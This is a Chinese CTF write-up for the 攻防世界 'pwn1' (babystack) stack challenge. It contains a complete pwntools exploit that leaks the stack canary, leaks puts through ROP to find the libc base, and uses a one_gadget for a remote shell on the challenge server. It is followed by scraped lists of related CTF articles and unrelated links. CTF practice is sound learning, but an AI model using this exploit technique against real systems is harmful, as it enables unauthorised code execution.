攻防世界 —— pwn1

攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。

题目流程

拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。

解题思路

程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。

exp如下所示:

from pwn import *
context.log_level='debug'
DEBUG=0
if DEBUG:
io=process('./babystack')
else:
io=remote('220.249.52.133',30008) elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
get_shell=0x45216
#onegadget的地址

read_plt=elf.plt['read']
write_plt=elf.plt['write']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
puts_off=libc.sym['puts'] pop_rdi_ret=0x400a93
pppppp_ret=0x400A8A
movret=0x400a70
main_addr=0x400909 io.recv()
io.sendline(str(1))
payload='a'*0x88+'\n' #这里'\n'覆写Canary最低字节
io.send(payload)
io.recv()
io.sendline(str(2))
io.recvuntil('a'*0x88)
Canary=u64(io.recv(8))-0xa #泄露出Canary
print("Canary:{}".format(hex(Canary)))
io.recv() io.sendline(str(1))
payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址
io.send(payload)
io.sendafter('>> ',str(3))
puts_addr=u64(io.recv(8).ljust(8,'\x00'))
libc_addr=puts_addr-libc.symbols['puts']
execve_addr=libc_addr+0x45216
print("puts_addr:{}".format(hex(puts_addr)))
print("libc_addr:{}".format(hex(libc_addr)))
print("execve_addr:{}".format(hex(execve_addr)))
payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(execve_addr) #ret2One_gadget io.sendlineafter('>> ',str(1))
io.send(payload)
io.sendlineafter('>> ',str(3))
io.interactive()

攻防世界pwn高手区——pwn1的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. CTF -攻防世界-web高手区-ics-06

    打开网址 根据题意点开报表中心(因为其他的点开都一样,不信你试试) 会看见id =1 想到burp爆破id 所以打开burp抓包(不会抓包的百度 或者看我web新手区,有一题就有抓包 我说的很详细) ...

  3. CTF -攻防世界-web高手区-mfw

    ---恢复内容开始--- 昂,我很菜这是网上大神的教程. https://blog.csdn.net/silence1_/article/details/89741733 ---恢复内容结束---

  4. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

  5. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

  6. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

  7. 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...

  8. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

  9. 攻防世界 WEB 高手进阶区 upload1 Writeup

    攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进 ...

随机推荐

  1. Terraform状态State管理,让变更有记录

    我最新最全的文章都在南瓜慢说 www.pkslow.com,欢迎大家来喝茶! 简介 最近工作中用到了Terraform,权当学习记录一下,希望能帮助到其它人. Terraform系列文章如下: Ter ...

  2. 『心善渊』Selenium3.0基础 — 18、使用Selenium操作浏览器的弹窗

    目录 1.操作浏览器自带弹窗 2.操作浏览器页面自定义弹窗 1.操作浏览器自带弹窗 (1)说明: webdriver中处理JavaScript所生成的alert.confirm 以及prompt 弹窗 ...

  3. 连接mysql数据库实现增删改查(一)

    在python中我们通过pymysql来连接数据库,具体实现如下 ''' 连接mysql数据库 此类进行封装了一些基础的操作数据库方法 ''' import pymysql from Homework ...

  4. 桌面Linux系统的先驱者慕尼黑现在正在考虑切换回Windows

    From: http://arstechnica.com/business/2014/08/linux-on-the-desktop-pioneer-munich-now-considering-a- ...

  5. HCNA Routing&Switching之动态路由协议RIP

    前文我们了解了动态路由的基本概念,以及动态路由和静态路由的区别,优缺点,动态路由的分类,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/14995317.html ...

  6. 2019年最新android常用开源库汇总上篇(转)

    1.基本控件 1.1.TextView ScrollNumber ReadMoreTextView HtmlImage android-autofittextview html-textview Ba ...

  7. 微软商业智能系列(一)初识微软BI

    随着移动互联网.云计算.物联网和大数据技术的广泛应用,社会已经迈入全新的数据时代.掌握数据资产,进行智能化决策,已成为企业胜出的关键.越来越多的企业开始重视数据战略布局,重新定义自己的核心竞争力,从数 ...

  8. C语言:警告提示及解决方法

    #include <stdio.h> int main(){ struct{ char *name; //姓名 int num; //学号 int age; //年龄 char group ...

  9. c++中的对象模型

    1 对象模型的前世 类在c++编译器内部可以理解成结构体,所以在对象模型分析时,我们可以把 class  当作一种特殊的 struct: 1)在内存中 class 可以看作是普通成员变量的集合: 2) ...

  10. python3执行.sql文件

    这个脚本主要是遍历执行文件夹下的sql文件,但是没有辨别文件的格式,所以文件夹下只能够放.sql文件,否则会报错哈. 我的sql文件夹与执行的文件平级,所以dir_path就是sql,大家依照自己的路 ...